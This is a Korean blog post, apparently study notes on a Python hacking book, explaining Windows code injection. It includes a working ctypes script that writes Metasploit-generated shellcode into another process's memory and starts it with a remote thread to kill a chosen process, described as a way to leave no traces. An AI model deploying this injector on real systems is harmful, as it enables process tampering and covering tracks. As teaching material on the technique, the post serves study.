본문 바로가기
파이썬 스터디 과제/파이썬 해킹 프로그래밍

7장-DLL과 코드 인젝션-2 (코드 인젝션)

by laoching 2015. 1. 31.
728x90
반응형

코드 인젝션은 DLL인젝션에 비해 좀 더 교묘한 기술이다.

코드 인젝션을 이용하면 실행 중인 프로세스에 셸 코드를 삽입해 그것이 메모리상에서 실행되게 만들 수 잇다.

또 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다.

이 부분에서는 단순히 특정 PID를 가진 프로세스를 종료시키는 기능을 가진 간단한 셸 코드를 이용할 것이라고 한다.

이 셸 코드를 이용하면 셸 코드를 원격 프로세스에 삽입해 그것을 실행시킨 프로세스를 종료시킴으로써 흔적이 남지 않게 할 수 있다.

Metasploit 프로젝트의 홈페이지에서 제공하는 셸 코드 생성기를 이용하면 프로세스를 종료시키는 셸 코드를 얻을 수 있따.

http://metasploit.com/shellcode/ 페이지를 방문해 셸 코드를 구하면 된다.

위 셸 코드는 셸 코드를 생성핼 때 Restricted Characters 텍스트 상자에 0x00을 입력하고

Selected Encoder에서는 Default Encoder를 선택해 생성한다.

셸 코드의 마지막 두 라인에는 \x41값이 여덟 번 반복된다.

왜 A가 8번 반복된 것일까?? :

프로세스를 종료시키기 위해서는 종료시킬 프로세스의 PID 정보가 저장돼야 한다.

A 문자가 차지하는 공간이 바로 종료시킬 프로세스의 PID가 동적으로 써지는 곳이다.

그리고 PID가 써지고 난 나머지 공간은 NULL값으로 채워진다.

셸 코드 생성 시에 인코더를 사용했다면 A 문자는 다른 문자로 인코더됐을 것이다.

그러면 해당 공간을 찾아서 PID로 대체시키는 작업이 좀 더 어려워졌을 것이다.

셸 코드를 마련했으니 이제는 코드 인젝션을 어떻게 수행하는지 알아볼 차례다.

code_injector.py

-----------------------------------------------------------------------

import sys
from ctypes import *

PAGE_EXECUTE_READWRITE     = 0x00000040
PROCESS_ALL_ACCESS         = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM             = (0x1000 | 0x2000)

kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
    print "code injector : ./code_injector.py<PID to inject> <PID to  kill>"
    sys.exit(0)

shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - (len(pid_to_kill))
replace_value = pid_to_kill + ("\x00" * padding)
replace_string = "\x41" * 4

shellcode = shellcode.replace(replace_string, replace_value)
code_size = len(shellcode)

h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))

thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):
    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)

print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill

-----------------------------------------------------------------------


위 코드에서는 lpStartAddress 파라미터의 값으로 셸 코드의 시작부분을 전달한다.

또한 셸 코드에 파라미터를 전달할 필요가 없기 때문에 lpParameter 파라미터의 값으로 NULL을 전달한다.ㄷㄷ

-----------------------------------------------------------------------

./code_injector.py <인젝션을 수행할 프로세스의 PID> <종료시키고자 하는

프로세스의 PID>

-----------------------------------------------------------------------


728x90
반응형

댓글